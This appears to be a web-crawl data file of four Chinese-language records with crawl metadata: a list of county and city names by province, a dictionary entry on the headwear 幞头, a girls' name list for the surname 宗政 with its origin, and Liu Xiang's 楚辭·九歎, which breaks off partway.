蚌埠 怀远 固镇 五河 淮南 凤台 当涂 淮北市 濉溪县 铜陵 安庆 桐城 宿松 枞阳 太湖 怀宁 岳西 望江 潜山 黄山 休宁 歙县 祁门 黟县 滁州 天长 明光 全椒 来安 定远 凤阳 阜阳 界首 临泉 颍上 阜南 太和 宿州 萧县 泗县 砀山 灵璧 巢湖 含山 无为 庐江 和县 六安 寿县 霍山 霍邱 舒城 金寨 亳州 利辛 涡阳 蒙城 池州 东至 石台 青阳 宣城 宁国 广德 郎溪 泾县 旌德 绩溪 马鞍山 福建 福州 福清 长乐 闽侯 闽清 永泰 连江 罗源 平潭 厦门 莆田 仙游 三明 永安 明溪 将乐 大田 宁化 建宁 沙县 尤溪 清流 泰宁 泉州 石狮 晋江 南安 惠安 永春 安溪 德化 金门 漳州 龙海 平和 南靖 诏安 漳浦 华安 东山 长泰 云霄 南平 建瓯 邵武 建阳 松溪 光泽 顺昌 浦城 政和 龙岩 漳平 长汀 武平 上杭 永定 连城 宁德 福安 福鼎 寿宁 霞浦 柘荣 屏南 古田 周宁 武夷山 江西 南昌 新建 南昌 进贤 安义 乐平 浮梁 萍乡 莲花 上栗 芦溪 九江 瑞昌 九江 星子 武宁 彭泽 永修 修水 湖口 德安 都昌 新余 分宜 鹰潭 贵溪 余江 赣州 瑞金 南康 石城 安远 赣县 宁都 寻乌 兴国 定南 上犹 于都 龙南 崇义 信丰 全南 大余 会昌 吉安 永丰 永新 新干 泰和 峡江 遂川 安福 吉水 万安 宜春 丰城 樟树 高安 铜鼓 靖安 宜丰 奉新 万载 上高 抚州 南丰 乐安 金溪 南城 东乡 资溪 宜黄 广昌 黎川 崇仁 上饶 德兴 上饶 广丰 鄱阳 婺源 铅山 余干 横峰 弋阳 玉山 万年 井冈山 景德镇 山东 济南 章丘 平阴 济阳 商河 青岛 胶南 胶州 平度 莱西 即墨 淄博 桓台 高青 沂源 枣庄 滕州 垦利 广饶 利津 烟台 龙口 莱阳 莱州 招远 蓬莱 栖霞 海阳 长岛 潍坊 青州 诸城 寿光 安丘 高密 昌邑 昌乐 临朐 济宁 曲阜 兖州 邹城 鱼台 金乡 嘉祥 微山 汶上 泗水 梁山 泰安 新泰 肥城 宁阳 东平 威海 乳山 文登 荣成 日照 五莲 莒县 莱芜 临沂 沂南 郯城 沂水 苍山 费县 平邑 莒南 蒙阴 临沭 德州 乐陵 禹城 陵县 宁津 齐河 武城 庆云 平原 夏津 临邑 聊城 临清 高唐 阳谷 茌平 莘县 东阿 冠县 滨州 邹平 沾化 惠民 博兴 阳信 无棣 菏泽 鄄城 单县 郓城 曹县 定陶 巨野 东明 成武 河南 郑州巩义 新郑 新密 登封 荥阳 中牟 开封 开封 尉氏 兰考 杞县 通许 洛阳 偃师 孟津 汝阳 伊川 洛宁 嵩县 宜阳 新安 栾川 汝州 舞钢 宝丰 叶县 郏县 鲁山 安阳 林州 安阳 滑县 内黄 汤阴 鹤壁 浚县 淇县 新乡 卫辉 辉县 新乡 获嘉 原阳 长垣封丘 延津 焦作 沁阳 孟州 修武 温县 武陟 博爱 濮阳 南乐 台前 清丰 范县 许昌 禹州 长葛 许昌 鄢陵 襄城 漯河 临颍 舞阳 义马 灵宝 渑池 卢氏 陕县 南阳 邓州 桐柏 方城 淅川 镇平 唐河 南召 内乡 新野 社旗 西峡 商丘 永城 宁陵 虞城 民权 夏邑 柘城 睢县 信阳 潢川 淮滨 息县 新县 商城 固始 罗山 光山 周口 项城 商水 淮阳 太康 鹿邑 西华 扶沟 沈丘 郸城 确山 新蔡 上蔡 西平 泌阳 平舆 汝南 遂平 正阳 济源 三门峡 平顶山 驻马店 湖北 武汉 黄石 大冶 阳新 十堰 郧县 竹山 房县 郧西 竹溪 荆州 洪湖 石首 松滋 监利 公安 江陵 宜昌 宜都 当阳 枝江 秭归 远安 兴山 襄樊 枣阳 宜城 南漳 谷城 保康 鄂州 荆门 钟祥 京山 沙洋 孝感 应城 安陆 汉川 云梦 大悟 孝昌 黄冈 麻城 武穴 红安 罗田 浠水 蕲春 黄梅 英山 团风 咸宁 赤壁 嘉鱼 通山 崇阳 通城 随州 广水 仙桃 天门 潜江 恩施 利川 建始 来凤 巴东 鹤峰 宣恩 咸丰 丹江口 老河口 神农架 五峰 长阳 湖南 长沙 浏阳 长沙 望城 宁乡 株洲 醴陵 株洲 炎陵 茶陵 攸县 湘潭 湘乡 韶山 湘潭 衡阳 耒阳 常宁 衡阳 衡东 衡山 衡南 祁东 邵阳 武冈 邵东 洞口 新邵 绥宁 新宁 邵阳 隆回 城步 岳阳 临湘 汨罗 岳阳 湘阴 平江 华容 常德 津市 澧县 临澧 桃源 汉寿 安乡 石门 慈利 桑植 益阳 沅江 桃江 南县 安化 郴州 资兴 宜章 汝城 安仁 嘉禾 临武 桂东 永兴 桂阳 永州 祁阳 蓝山 宁远 新田 东安 江永 道县 双牌 怀化 洪江 会同 沅陵 辰溪 溆浦 中方 娄底 涟源 新化 双峰 吉首 古丈 龙山 永顺 凤凰 泸溪 保靖 花垣 冷水江 张家界 江华 芷江 新晃 通道 靖州 麻阳 湘西 广东 广州 从化 增城 深圳 珠海 汕头 南澳 韶关 乐昌 南雄 仁化 始兴 翁源 新丰 佛山 江门 台山 开平 鹤山 恩平 湛江 廉江 雷州 吴川 遂溪 徐闻 茂名 高州 化州 信宜 电白 肇庆 高要 四会 广宁 德庆 封开 怀集 惠州 惠东 博罗 龙门 梅州 兴宁 梅县 蕉岭 大埔 丰顺 五华 平远 汕尾 陆丰 海丰 陆河 河源 和平 龙川 紫金 连平 东源 阳江 阳春 阳西 阳东 清远 英德 连州 佛冈 阳山 清新 东莞 中山 潮州 潮安 饶平 揭阳 普宁 揭东 揭西 惠来 云浮 罗定 云安 新兴 郁南 乳源 连山 连南 广西 南宁 武鸣 隆安 马山 上林 宾阳 横县 柳州 柳江 桂林 阳朔 临桂 灵川 全州 平乐 兴安 灌阳 荔浦 资源 永福 梧州 岑溪 苍梧 藤县 蒙山 北海 合浦 东兴 上思 钦州 灵山 浦北 贵港 桂平 平南 玉林 北流 容县 陆川 博白 兴业 百色 凌云 平果 西林 乐业 德保 田林 田阳 靖西 田东 那坡 贺州 钟山 昭平 河池 宜州 天峨 凤山 南丹 东兰 来宾 合山 象州 武宣 忻城 崇左 凭祥 宁明 扶绥 龙州 大新 天等 防城港 三江 大化 巴马 龙胜 金秀 融水 隆林 恭城 都安 富川 环江毛南 罗城仫佬 海南 海口 琼海 儋州 文昌 万宁 东方 澄迈 定安 屯昌 临高 三亚 五指山 白沙 昌江 乐东 陵水 保亭 琼中 重庆 渝中 江北 南岸 北碚 万盛 双桥 渝北 巴南 万州 涪陵 黔江 长寿 九龙坡 大渡口 沙坪坝 永川 合川 江津 南川 綦江 潼南 荣昌 璧山 大足 铜梁 梁平 城口 垫江 武隆 丰都 奉节 开县 云阳 忠县 巫溪 巫山 石柱 秀山 酉阳 彭水 四川 成都 彭州 邛崃 崇州 金堂 郫县 新津 双流 蒲江 大邑 自贡 荣县 富顺 米易 盐边 泸州 泸县 合江 叙永 古蔺 德阳 广汉 什邡 绵竹 罗江 中江 绵阳江油 盐亭 三台 平武 安县 梓潼 广元 青川 旺苍 剑阁 苍溪 遂宁 射洪 蓬溪 大英 内江 资中 隆昌 威远 乐山 夹江 井研 犍为 沐川 南充 阆中 营山 蓬安 仪陇 南部 西充 眉山 仁寿 彭山 洪雅 丹棱 青神 宜宾 宜宾 兴文 南溪 珙县 长宁 高县 江安 筠连 屏山 广安 华蓥 岳池 邻水 武胜 达州 万源 达县 渠县 宣汉 开江 大竹 雅安 芦山 石棉 名山 天全 荥经 宝兴 汉源 巴中 南江 平昌 通江 资阳 简阳 安岳 乐至 红原 汶川 阿坝 理县 小金 黑水 金川 松潘 壤塘 茂县 康定 丹巴 炉霍 九龙 甘孜 雅江 新龙 道孚 白玉 理塘 德格 乡城 石渠 稻城 色达 巴塘 泸定 得荣 西昌 美姑 昭觉 金阳 甘洛 布拖 雷波 普格 宁南 喜德 会东 越西 会理 盐源 德昌 冕宁 马尔康 九寨沟 峨眉山 都江堰 彝族自治县 甘孜 凉山 阿坝 贵州 贵阳 清镇 开阳 修文 息烽 水城 盘县 遵义 赤水 仁怀 遵义 绥阳 桐梓 习水 凤冈 正安 余庆 湄潭 安顺 普定 德江 江口 思南 石阡 毕节 黔西 大方 织金 金沙 赫章 纳雍 兴义 望谟 兴仁 普安 册亨 晴隆 贞丰 安龙 凯里 施秉 从江 锦屏 镇远 麻江 台江 天柱 黄平 榕江 剑河 三穗 雷山 黎平 岑巩 丹寨 都匀 福泉 贵定 惠水 罗甸 瓮安 荔波 龙里 平塘 长顺 独山 六盘水 六枝特区 万山特区 三都 松桃 玉屏 沿河 道真 务川 镇宁 紫云 关岭 印江 黔东南 黔西南 威宁 黔南布 云南 昆明 安宁 富民 嵩明 呈贡 晋宁 宜良 曲靖 宣威 陆良 会泽 富源 罗平 马龙 师宗 沾益 玉溪 华宁 澄江 易门 通海 江川 保山 施甸 昌宁 龙陵 腾冲 昭通 永善 绥江 镇雄 大关 盐津 巧家 彝良 威信 水富 鲁甸 丽江 华坪 永胜 思茅 临沧 镇康 凤庆 云县 永德县 文山县 砚山 广南 马关 富宁 西畴 丘北 蒙自 个旧 开远 弥勒 红河 绿春 泸西 建水 元县 石屏 景洪 勐海 楚雄 元谋 南华 牟定 武定 大姚 双柏 禄丰 永仁 姚安 大理市 剑川 弥渡 云龙 洱源 鹤庆 祥云 宾川 永平 潞西 瑞丽 盈江 梁河 陇川 泸水 福贡 德钦 麻栗坡 香格里拉 拉萨 陕西 西安 高陵 蓝田 周至 铜川 宜君 宝鸡 岐山 凤翔 陇县 太白 麟游 扶风 千阳 眉县 凤县 咸阳 礼泉 泾阳 永寿 三原 彬县 旬邑 长武 乾县 武功 淳化 渭南 韩城 华阴 蒲城 潼关 白水 澄城 华县 合阳 富平 大荔 延安 安塞 洛川 子长 留坝 镇巴 城固 南郑 洋县 宁强 佛坪 勉县 西乡 略阳 榆林 清涧 绥德 神木 佳县 府谷 子洲 靖边 横山 米脂 吴堡 定边 安康 紫阳 岚皋 旬阳 镇坪 平利 石泉 宁陕 白河 汉阴 商洛 镇安 山阳 洛南 商南 丹凤 柞水 甘肃 兰州 永登榆中 皋兰 金昌 永昌 白银 靖远 景泰 会宁 天水 武山 甘谷 清水 秦安 武威 民勤 古浪 张掖 民乐 山丹 临泽 高台 平凉 灵台 静宁 崇信 华亭 泾川 庄浪 酒泉 玉门 敦煌 安西 金塔 庆阳 庆城 镇原 合水 华池 环县 宁县 正宁 定西 岷县 渭源 陇西 通渭 漳县 临洮 陇南 成县 礼县 康县 文县 两当 徽县 宕昌 西和 临夏 临夏 康乐 永靖 广河 和政 合作 临潭 卓尼 舟曲 迭部 玛曲 碌曲 夏河 嘉峪关 东乡 肃北 张家川 天祝 肃南积 青海 西宁 湟源 湟中 平安 乐都 海晏 祁连 刚察 同仁 泽库 尖扎 共和 同德 贵德 兴海 贵南 玛沁 班玛 甘德县 达日 久治 玛多 玉树 杂多 称多 治多 囊谦 宁夏 银川 灵武 永宁 贺兰 平罗 吴忠 同心 盐池 固原 西吉 隆德 泾源 彭阳 中卫 中宁 海原 石嘴山 青铜峡 新疆 哈密 石河子 乌鲁木齐","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.dgjunlayun.com\/ch\/main.asp","date":"2013-05-19T07:43:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368696384213\/warc\/CC-MAIN-20130516092624-00004-ip-10-60-113-184.ec2.internal.warc.gz","language":"lzh","language_score":0.392133534,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.39213353395462036, \"cmn_Hani_score\": 0.3597157895565033, \"nan_Hani_score\": 0.21975287795066833, \"wuu_Hani_score\": 0.01577628217637539}","num_words":2105,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.304,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.382,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1.古冠名。后汉梁冀改舆服之制,折叠巾之上角,称折上巾。北周裁为四脚,名曰幞头,也称折上巾。隋唐时贵贱通用,宋时为皇帝﹑皇太子常服。参阅《后汉书.梁冀传》﹑《旧唐书.舆服志》﹑五代马缟《中华古今注.幞头》﹑宋沈括《梦溪笔谈.故事一》﹑《宋史.舆服志三》。\n折中 折丹 折么 折乌巾 折乏 折价 折价发行 折伏 折伐 折便宜 折俎 折倒 折儿 折充 折光 折兑 折关 折冲 折冲之臣 上丁 上三旗 上上 上上下下 上上乘 上上人 上上手 上下 上下一心 上下为难 上下交困 上下交征 上下其手 上下同心 上下同欲 上下同门 上下和合 上下平 上下床 上下忙 巾冠 巾几 巾卷 巾国英雄 巾子 巾帓 巾帔 巾帤 巾帨 巾帻 巾帼 巾帼丈夫 巾帼奇才 巾帼英雄 巾帼豪杰 巾帼须眉 巾帽 巾幂 巾拂 巾服","id":"","dump":"CC-MAIN-2017-26","url":"http:\/\/cidian.xpcha.com\/0bf69nan4y1.html","date":"2017-06-28T02:08:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128322275.28\/warc\/CC-MAIN-20170628014207-20170628034207-00014.warc.gz","language":"lzh","language_score":0.8150373697,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.8150373697280884, \"nan_Hani_score\": 0.08630722761154175, \"cmn_Hani_score\": 0.08188163489103317, \"yue_Hani_score\": 0.013036892749369144}","num_words":59,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.332,"stopwords_ratio":0.017,"flagged_words_ratio":0.0,"lang_id_score":0.82,"perplexity_score":500.0,"cluster_detection":1} +{"text":"姓宗政的好聽的女孩名字有哪些呢?在中國,一般每人都有姓,人們初次交往,彼此總要先問:您貴姓?由此可見姓氏在我們生活中的重要性,中國古人的姓名和現代一樣,是人們在社交中用來代表個人的符號,因此給孩子起名,一定要慎重,那姓宗政的女寶寶該取什麼樣的名字,下面姓名網為大傢介紹,姓宗政的好聽的女孩名字!\n姓宗政的好聽的女孩名字\n宗政書婷 宗政增紅 宗政子嫣 宗政兆怡 宗政政媛 宗政紹文 宗政婧 宗政曉潔 宗政琳健 宗政冠怡 宗政亞紅 宗政貽冉 宗政瑩瑩 宗政瑩潔 宗政婧帆 宗政文麗 宗政均花 宗政桑婭 宗政璦茹 宗政錦文 宗政君英 宗政豪麗 宗政淑媛 宗政怡希 宗政娟萍 宗政夏梅 宗政黎娟 宗政芳英 宗政瓊婷 宗政柳嫣 宗政艷琴 宗政雲霞 宗政煥文 宗政淑英 宗政碧悅 宗政婧宜 宗政鉦婭 宗政燕芝 宗政士美 宗政怡豐 宗政花 宗政淑婷 宗政水花 宗政瑜娟 宗政細蓉 宗政巖婷 宗政躍娟 宗政玉花 宗政雲霞 宗政中悅 宗政晗玉 宗政邵潔 宗政羅文 宗政海文 宗政鈴麗 宗政妍俑 宗政秀秀 宗政曦文 宗政希文 宗政辭芳 宗政怡汀 宗政黎娟 宗政雯琴 宗政麒妍 宗政秋穎 宗政秀瑤 宗政芝琴 宗政雅麗 宗政秀娟 宗政紅萍 宗政栩燕 宗政彥蓉 宗政嘉瑤 宗政穗燕 宗政繼英 宗政宇瑤 宗政慧媛 宗政悅文 宗政若妍 宗政映紅 宗政銀紅 宗政瑪麗 宗政秋莉 宗政子怡 宗政雪玲 宗政子倩 宗政鬱瓊 宗政競妍 宗政燕媛 宗政香雪 宗政伊文 宗政雲瓊 宗政沁瑤 宗政健文 宗政潤英 宗政香怡 宗政丹萍 宗政明芳 宗政益娜 宗政妍虹 宗政曉梅 宗政穎琳 宗政麗紅 宗政鑫冉 宗政潔怡 宗政伊琴 宗政寒梅 宗政豳芳 宗政雪倩 宗政玫茹 宗政雅婷 宗政婷楠 宗政朝文 宗政媛媛 宗政俊梅 宗政耀萍 宗政善玲 宗政婭君 宗政抗美 宗政玲娣 宗政世玲 宗政倚婷 宗政愛芬 宗政紓妍 宗政晤文 宗政麗瑩 宗政淑艷 宗政凡婧 》》還是沒有找到滿意的名字?不妨問問大師。\n宗政傢玉 宗政喜萍 宗政妍寧 宗政志蓉 宗政俊怡 宗政崠梅 宗政婷奕 宗政利麗 宗政熙婭 宗政雁玲 宗政紅美 宗政先文 宗政永潔 宗政塞娜 宗政苒文 宗政琳婷 宗政喜芳 宗政立媛 宗政尹娜 宗政霞 宗政金燕 宗政婷燦 宗政秀麟 宗政月瓊 宗政妤婷 宗政藝文 宗政莉莉 宗政緯紅 宗政雪琴 宗政奕怡 宗政繼美 宗政旺梅 宗政可雪 宗政亞萍 宗政莉惠 宗政春潔 宗政素艷 宗政倩兒 宗政良玲 宗政淑娥 宗政成芳 宗政啟妹 宗政娟莓 宗政冬梅 宗政宏萍 宗政鄭怡 宗政藝燕 宗政悅欣 宗政怡予 宗政乃花 宗政懷麗 宗政樅潔 宗政媛 宗政麗文 宗政麗茹 宗政預麗 宗政紅艷 宗政紅茹 宗政雯婧 宗政燕鵬 宗政春霞 宗政海艷 宗政朝燕 宗政耀霞 宗政葶悅 宗政金芳 宗政曉梅 宗政恩琳 宗政琳博 宗政雙花 宗政婭舒 宗政詩婧 宗政悅欣 宗政學文 宗政為紅 宗政騰文 宗政筱玲 宗政蕓萍 宗政堪麗 宗政賽娥 宗政琳 宗政思嫣 宗政妍芬 宗政邐娜 宗政燕敏 宗政明英 宗政以琳 宗政雨燕 宗政酈媛 宗政道媛 宗政月瑤 宗政順玲 宗政杼麗 宗政鑫梅 宗政芷瑩 宗政佳穎 宗政秋霞 宗政海紅 宗政瀟婷 宗政婭鳳 宗政淑娟 宗政瑾文 宗政婧萱 宗政希文 宗政晨潔 宗政玉琴 宗政一倩 宗政美 宗政雯文 宗政慧芳 宗政鈺瑩 宗政志燕 宗政振娟 宗政子文 宗政雩文 宗政珩玉 宗政秉文 宗政裕悅 宗政悅苗 宗政一妞 宗政守玉 宗政怡丹 宗政伊冉 宗政莉婭 宗政卜穎 宗政子瑤 宗政悅嘉 宗政奕萍 宗政梅娟 宗政麗麗 宗政古梅 宗政晴穎 宗政淑玲 宗政怡琪 宗政伊倩 宗政玉文 宗政雅瓊 宗政姿穎 宗政倩敏 宗政悅洋 宗政偉麗 宗政碧琴 宗政豪潔 宗政霖潔 宗政曼玉\n宗政秀媛 宗政怡娉 宗政英燕 宗政義霞 宗政惠婷 宗政子妍 宗政搏文 宗政琳漯 宗政雪玉 宗政莉紅 宗政燕飛 宗政曉燕 宗政悅雯 宗政曾芳 宗政紫瑛 宗政碧瑩 宗政愛娟 宗政金梅 宗政林燕 宗政鈺瑤 宗政荔婷 宗政茹義 宗政艾琳 宗政麗瑤 宗政恩琳 宗政玲瓏 宗政雲娜 宗政潔 宗政夢穎 宗政婧媛 宗政曉紅 宗政函瑩 宗政俊花 宗政婭洳 宗政悅嘉 宗政青麗 宗政延芬 宗政廣艷 宗政小燕 宗政怡 宗政宇文 宗政采文 宗政矗文 宗政傢玲 宗政怡含 宗政正花 宗政艷紅 宗政瑞娟 宗政文紅 宗政莉莉 宗政雅婷 宗政卉潔 宗政方婧 宗政明艷 宗政婷婷 宗政羽倩 宗政韶怡 宗政錫芳 宗政美琳 宗政沁潔 宗政湘穎 宗政麗琴 宗政莉瓊 宗政艾娟 宗政敏婷 宗政嗚潔 宗政麗芬 宗政保艷 宗政晨艷 宗政幽妍 宗政麗英 宗政寧悅 宗政晨冉 宗政安娜 宗政偉玲 宗政耀文 宗政澤芳 宗政寒婷 宗政秀翠 宗政興陽 宗政晉容 宗政紫橙 宗政佳祥 宗政潔梅 宗政雅娟 宗政爾娜 宗政桂英 宗政倩霖 宗政細花 宗政慧麗 宗政錦蓉 宗政莉 宗政婧棠 宗政妍姿 宗政孝英 宗政泯予 宗政玉 宗政嘉雪 宗政雙玲 宗政水霞 宗政秀樾 宗政丹琳 宗政麗玲 宗政應妍 宗政雅琴 宗政倩羽 宗政巳潔 宗政子玉 宗政育紅 宗政昊琳 宗政臣玉 宗政建怡 宗政予嫣 宗政西文 宗政盈怡 宗政修蓉 宗政少琴 宗政歷娜 宗政俊蓉 宗政月秀 宗政的美 宗政亞娟 宗政鴻霞 宗政雪潔 宗政嫣涵 宗政淵文 宗政騏梅 》》還是沒有找到滿意的名字?不妨問問大師。\n宗政(Zōng zhèng)姓源流單純,源出有一:\n出自劉姓,是漢高祖劉邦的後代,以官名為氏。據《通志·氏族略》上記載\"漢楚元王交之孫劉德為宗政。\"漢朝開國皇帝劉邦的後代有楚元王劉交,他的孫子叫劉德,官至宗正,為九卿之一,即主持皇傢宮室事務的官員。劉德的支庶子孫有的以祖上官職名命姓,稱宗正氏,後來加文而為宗政氏。宗政姓族人,今大多已並入宗姓。(責任編輯:八字免費算命網)","id":"","dump":"CC-MAIN-2017-43","url":"http:\/\/www.share4tw.com\/archives\/285538","date":"2017-10-24T06:19:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187828178.96\/warc\/CC-MAIN-20171024052836-20171024072836-00265.warc.gz","language":"lzh","language_score":0.7213412523,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.7213412523269653, \"cmn_Hani_score\": 0.14192451536655426, \"nan_Hani_score\": 0.10207679122686386, \"jpn_Jpan_score\": 0.026610590517520905}","num_words":407,"character_repetition_ratio":0.016,"word_repetition_ratio":0.0,"special_characters_ratio":0.195,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.744,"perplexity_score":500.0,"cluster_detection":1} +{"text":"楚辭九歎 西漢 劉向\n逢紛\n伊伯庸之末胄兮,諒皇直之屈原。云余肇祖于高陽兮,惟楚懷之嬋連。原生受命于貞節兮,鴻永路有嘉名。齊名字於天地兮,並光明於列星。吸精粹而吐氛濁兮,橫邪世而不取容。行叩誠而不阿兮,遂見排而逢讒。后聽虛而黜實兮,不吾理而順情。腸憤悁而含怒兮,志遷蹇而左傾。心戃慌其不我與兮,躬速速其不吾親。辭靈修而隕志兮,吟澤畔之江濱。椒桂羅以顛覆兮,有竭信而歸誠。讒夫藹藹而漫著兮,曷其不舒予情。\n始結言於廟堂兮,信中塗而叛之。懷蘭蕙與衡芷兮,行中壄而散之。聲哀哀而懷高丘兮,心愁愁而思舊邦。願承閒而自恃兮,徑淫曀而道𡔏。顏黴黧以沮敗兮,精越裂而衰耄。裳襜襜而含風兮,衣納納而掩露。赴江湘之湍流兮,順波湊而下降。徐徘徊於山阿兮,飄風來之洶洶。馳余車兮玄石,步余馬兮洞庭。平明發兮蒼梧,夕投宿兮石城。芙蓉蓋而蔆華車兮,紫貝闕而玉堂。薜荔飾而陸離薦兮,魚鱗衣而白霓裳。登逢龍而下隕兮,違故都之漫漫。思南郢之舊俗兮,腸一夕而九運。揚流波之潢潢兮,體溶溶而東回。心怊悵以永思兮,意晻晻而日頹。白露紛以塗塗兮,秋風瀏以蕭蕭。身永流而不還兮,䰟長逝而常愁。\n歎曰:譬彼流水紛揚礚兮,波逢洶涌濆滂沛兮。揄揚滌盪漂流隕往觸崟石兮。龍卬脟圈繚戾宛轉阻相薄兮。遭紛逢凶蹇離尤兮。垂文揚采遺將來兮。\n離世\n靈懷其不吾知兮,靈懷其不吾聞。就靈懷之皇祖兮,愬靈懷之鬼神。靈懷曾不吾與兮,即聽夫人之諛辭。余辭上參於天墬兮,旁引之於四時。指日月使延照兮,撫招搖以質正。立師曠俾端辭兮,命咎繇使並聽。兆出名曰正則兮,卦發字曰靈均。余幼既有此鴻節兮,長愈固而彌純。不從俗而詖行兮,直躬指而信志。不枉繩以追曲兮,屈情素以從事。端余行其如玉兮,述皇輿之踵跡。群阿容以晦光兮,皇輿覆以幽辟。輿中塗以回畔兮,駟馬驚而橫犇。執組者不能制兮,必折軛而摧轅。斷鑣銜以馳騖兮,暮去次而敢止。路蕩蕩其無人兮,遂不禦乎千里。\n身衡陷而下沈兮,不可獲而復登。不顧身之卑賤兮,惜皇輿之不興。出國門而端指兮,冀壹寤而錫還。哀僕夫之坎毒兮,屢離憂而逢患。九年之中不吾反兮,思彭咸之水游。惜師延之浮渚兮,赴汨羅之長流。遵江曲之逶移兮,觸石碕而衡游。波澧澧而揚澆兮,順長瀨之濁流。淩黃沱而下低兮,思還流而復反。玄輿馳而並集兮,身容與而日遠。櫂舟杭以橫濿兮,㴉湘流而南極。立江界而長吟兮,愁哀哀而累息。情慌忽以忘歸兮,神浮游以高厲。心蛩蛩而懷顧兮,魂眷眷而獨逝。\n歎曰:余思舊邦心依違兮。日暮黃昏羌幽悲兮。去郢東遷余誰慕兮?讒夫黨旅其以茲故兮。河水淫淫情所願兮。顧瞻郢路終不返兮。\n怨思\n惟鬱鬱之憂毒兮,志坎壈而不違。身憔悴而考旦兮,日黃昏而長悲。閔空宇之孤子兮,哀枯楊之冤鶵。孤雌吟於高墉兮,鳴鳩棲於桑榆。玄蝯失於潛林兮,獨偏棄而遠放。征夫勞於周行兮,處婦憤而長望。申誠信而罔違兮,情素潔於紐帛。光明齊於日月兮,文采燿於玉石。傷壓次而不發兮,思沈抑而不揚。芳懿懿而終敗兮,名靡散而不彰。\n背玉門以犇騖兮,蹇離尤而干詬。若龍逄之沈首兮,王子比干之逢醢。念社稷之幾危兮,反為讎而見怨。思國家之離沮兮,躬獲愆而結難。若青蠅之偽質兮,晉驪姬之反情。恐登階之逢殆兮,故退伏於末庭。孼臣之號咷兮,本朝蕪而不治。犯顏色而觸諫兮,反蒙辜而被疑。菀蘼蕪與菌若兮,漸藁本於洿瀆。淹芳芷於腐井兮,棄雞駭於筐簏。執棠谿以刜蓬兮,秉干將以割肉。筐澤瀉以豹鞹兮,破荊和以繼築。時溷濁猶未清兮,世殽亂猶未察。欲容與以俟時兮,懼年歲之既晏。顧屈節以從流兮,心鞏鞏而不夷。寧浮沅而馳騁兮,下江湘以邅迴。\n歎曰:山中檻檻余傷懷兮。征夫皇皇其孰依兮。經營原野杳冥冥兮。乘騏騁驥舒吾情兮。歸骸舊邦莫誰語兮。長辭遠逝乘湘去兮。\n遠逝\n志隱隱而鬱怫兮,愁獨哀而冤結。腸紛紜以繚轉兮,涕漸漸其若屑。情慨慨而長懷兮,信上皇而質正。合五嶽與八靈兮,訊九鬿與六神。指列宿以白情兮,訴五帝以置辭。北斗為我折中兮,太一為余聽之。云服陰陽之正道兮,御后土之中和。佩蒼龍之蚴虯兮,帶隱虹之逶虵。曳彗星之皓旰兮,撫朱爵與鵕䴊。游清靈之颯戾兮,服雲衣之披披。杖玉華與朱旗兮,垂明月之玄珠。舉霓旌之墆翳兮,建黃纁之總旄。躬純粹而罔愆兮,承皇考之妙儀。\n惜往事之不合兮,橫汨羅而下濿。椉隆波而南渡兮,逐江湘之順流。赴陽侯之潢洋兮,下石瀨而登洲。陵鬿堆以蔽視兮,雲冥冥而闇前。山峻高以無垠兮,遂曾閎而迫身。雪雰雰而薄木兮,雲霏霏而隕集。阜隘狹而幽險兮,石㠁嵯以翳日。悲故鄉而發忿兮,去余邦之彌久。背龍門而入河兮,登大墳而望夏首。橫舟航而㴉湘兮,耳聊啾而戃慌。波淫淫而周流兮,鴻溶溢而滔蕩。路曼曼其無端兮,周容容而無識。引日月以指極兮,少須臾而釋思。水波遠以冥冥兮,眇不睹其東西。順風波以南北兮,霧宵晦以紛紛。日杳杳以西頹兮,路長遠而窘迫。欲酌醴以娛憂兮,蹇騷騷而不釋。\n歎曰:飄風蓬龍埃坲坲兮。木搖落時槁悴兮。遭傾遇禍不可救兮。長吟永欷涕究究兮。舒情訴詩冀以自免兮。頹流下隕身日遠兮。\n惜賢\n覽屈氏之《離騷》兮,心哀哀而怫鬱。聲嗷嗷以寂寥兮,顧僕夫之憔悴。撥諂諛而匡邪兮,切淟涊之流俗。盪渨涹之姦咎兮,夷蠢蠢之溷濁。懷芬香而挾蕙兮,佩江蘺之婓婓。握申椒與杜若兮,冠浮雲之峨峨。登長陵而四望兮,覽芷圃之蠡蠡。游蘭皋與蕙林兮,睨玉石之㠁嵯。揚精華以眩燿兮,芳鬱渥而純美。結桂樹之旖旎兮,紉荃蕙與辛夷。芳若茲而不御兮,捐林薄而菀死。\n驅子僑之犇走兮,申徒狄之赴淵。若由夷之純美兮,介子推之隱山。晉申生之離殃兮,荊和氏之泣血。吳申胥之抉眼兮,王子比干之橫廢。欲卑身而下體兮,心隱惻而不置。方圜殊而不合兮,鉤繩用而異態。欲俟時於須臾兮,日陰曀其將暮。時遲遲其日進兮,年忽忽而日度。妄周容而入世兮,內距閉而不開。俟時風之清激兮,愈氛霧其如塺。進雄鳩之耿耿兮,讒介介而蔽之。默順風以偃仰兮,尚由由而進之。心懭悢以冤結兮,情舛錯以曼憂。搴薜荔於山野兮,采撚支於中洲。望高丘而歎涕兮,悲吸吸而長懷。孰契契而委棟兮,日晻晻而下頹。\n歎曰:江湘油油長流汨兮。挑揄揚汰盪迅疾兮。憂心展轉愁怫鬱兮。冤結未舒長隱忿兮。丁時逢殃可奈何兮。勞心悁悁涕滂沱兮。\n憂苦\n悲余心之悁悁兮,哀故邦之逢殃。辭九年而不復兮,獨煢煢而南行。思余俗之流風兮,心紛錯而不受。遵壄莽以呼風兮,步從容於山廀。巡陸夷之曲衍兮,幽空虛以寂寞。倚石巖以流涕兮,憂憔悴而無樂。登巑岏以長企兮,望南郢而闚之。山修遠其遼遼兮,塗漫漫其無時。聽玄鶴之晨鳴兮,于高岡之峨峨。獨憤積而哀娛兮,翔江洲而安歌。三鳥飛以自南兮,覽其志而欲北